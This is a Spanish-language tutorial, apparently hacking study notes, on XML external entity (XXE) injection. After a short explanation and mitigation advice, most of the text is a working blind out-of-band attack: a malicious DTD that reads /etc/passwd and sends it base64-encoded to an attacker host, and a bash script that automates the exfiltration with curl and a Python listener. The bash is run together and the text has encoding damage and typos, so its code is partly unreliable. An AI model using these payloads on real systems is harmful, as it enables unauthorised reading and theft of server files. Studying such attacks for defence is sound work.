Esta vulnerabilidad se explota inyectando entidades XML maliciosas en solicitudes HTTP, lo que puede dar lugar a la exposici贸n de informaci贸n sensible. Los ataques XXE suelen ocurrir cuando las aplicaciones web o servicios web no validan adecuadamente las entradas de datos XML.
Los atacantes pueden inyectar entidades XML que hacen referencia a archivos del sistema, lo que les permite obtener informaci贸n confidencial. En algunos casos, los ataques XXE pueden ser utilizados para explotar vulnerabilidades SSRF, lo que les permite a los atacantes escanear puertos internos y obtener informaci贸n sensible o tomar el control de servicios internos. Los ataques XXE pueden ser utilizados como vectores de ataque "a ciegas" cuando el atacante tiene conocimiento general de los recursos disponibles en el sistema y busca obtener informaci贸n espec铆fica sin ser detectado.
Para mitigar los riesgos del XXE, es crucial validar y sanitizar adecuadamente las entradas XML, as铆 como implementar medidas de seguridad adicionales, como restricciones de acceso a recursos externos y configuraciones adecuadas de firewall.
Attacking
&myFile;
Si puedes ver una estructura <?xml significa que hay una gran probabilidad de que sea vulnerable
malicious.dtd: El objetivo es enviar el output en base64 por GET, suponiendo que no aparece en texto claro en la pagina.
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/ressource=/etc/passwd"><!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://{YourIP}/?file=%file'>">%eval;%exfil;
El % es la forma dtd de traducir un caracter hexadecimal
Entonces, si envias un request XML con aquella estructura, tu servidor python3 -m http.server 80 va a recibir la informacion en base64.
echo-n"ECHO"|base64-d; echo
xxe_oob.sh
#!/bin/bashecho-ne"\n[+] Introduce el archivo a leer: "&&read-rmyFilenamemalicious_dtd='''<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/ressource=$myFilename"><!ENTITY % eval "<!ENTITY % exfil SYSTEM \'http://{YourIP}/?file=%file\'>">%eval;%exfil;''' # with *echo malicious_dtd* at the end, and *./xxe.oob.sh* you can see if it's printing well.echo $malicious_dtd > malicious.dtdpython3 -m http.server 80 &>response & #Almacenar todo en "response"PID=$! #Registrar el PID del proceso anteriorsleep 1; echocurl -s -X POST "http://localhost:5000/process.php" -d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://<YOURIP>/malicious.dtd"> %xee;]><root><name>test</name><tel>123123123</tel><email>&myFile;</email><password>123123</password></root>'cat response | grep -oP "/?file=\K[^.*\s]+" | base64 -d kill -9 $PIDwait $PID 2>/dev/null #Esperar a que finalice el kill, y luego continuar.rm response 2>/dev/null